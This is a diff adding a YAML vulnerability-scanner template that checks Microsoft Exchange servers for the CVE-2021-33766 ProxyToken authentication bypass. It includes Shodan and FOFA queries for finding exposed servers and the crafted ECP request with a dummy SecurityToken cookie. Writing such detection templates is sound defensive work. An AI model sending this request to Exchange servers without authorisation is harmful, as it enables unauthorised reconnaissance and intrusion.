diff --git a/http/cves/2021/CVE-2021-33766.yaml b/http/cves/2021/CVE-2021-33766.yaml
new file mode 100644
index 000000000000..e43a433b60cf
--- /dev/null
+++ b/http/cves/2021/CVE-2021-33766.yaml
@@ -0,0 +1,64 @@
+id: CVE-2021-33766
+
+info:
+  name: Microsoft Exchange - Authentication Bypass
+  author: daffainfo
+  severity: high
+  description: |
+    Microsoft Exchange Server Information Disclosure Vulnerability. This vulnerability enables an attacker to bypass authentication and gain access to the Exchange Server's internal.
+  reference:
+    - https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-33766
+    - https://www.zerodayinitiative.com/advisories/ZDI-21-798/
+    - https://github.com/demossl/CVE-2021-33766-ProxyToken
+    - https://nvd.nist.gov/vuln/detail/CVE-2021-33766
+  classification:
+    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L
+    cvss-score: 7.3
+    cve-id: CVE-2021-33766
+    cwe-id: NVD-CWE-noinfo
+    cpe: cpe:2.3:a:microsoft:exchange_server:*:*:*:*:*:*:*:*
+  metadata:
+    verified: true
+    max-request: 1
+    vendor: microsoft
+    product: exchange_server
+    shodan-query:
+      - vuln:cve-2021-26855
+      - http.favicon.hash:1768726119
+      - http.title:"outlook"
+      - cpe:"cpe:2.3:a:microsoft:exchange_server"
+    fofa-query:
+      - title="outlook"
+      - icon_hash=1768726119
+    google-query: intitle:"outlook"
+  tags: cve,cve2021,microsoft,exchange,auth-bypass,kev,vkev
+
+variables:
+  email: "{{randstr}}@{{rand_base(5)}}.com"
+
+http:
+  - raw:
+      - |
+        GET /ecp/{{email}}/PersonalSettings/HomePage.aspx?showhelp=false HTTP/1.1
+        Host: {{Hostname}}
+        Cookie: SecurityToken=x
+
+    matchers-condition: and
+    matchers:
+      - type: word
+        part: body
+        words:
+          - '<span id="msgCode">403</span>'
+          - 'function signOut() {'
+        condition: and
+
+      - type: word
+        part: header
+        words:
+          - "Microsoft.Exchange.Data.Storage.ObjectNotFoundException"
+          - "X-BEResource="
+        condition: and
+
+      - type: status
+        status:
+          - 403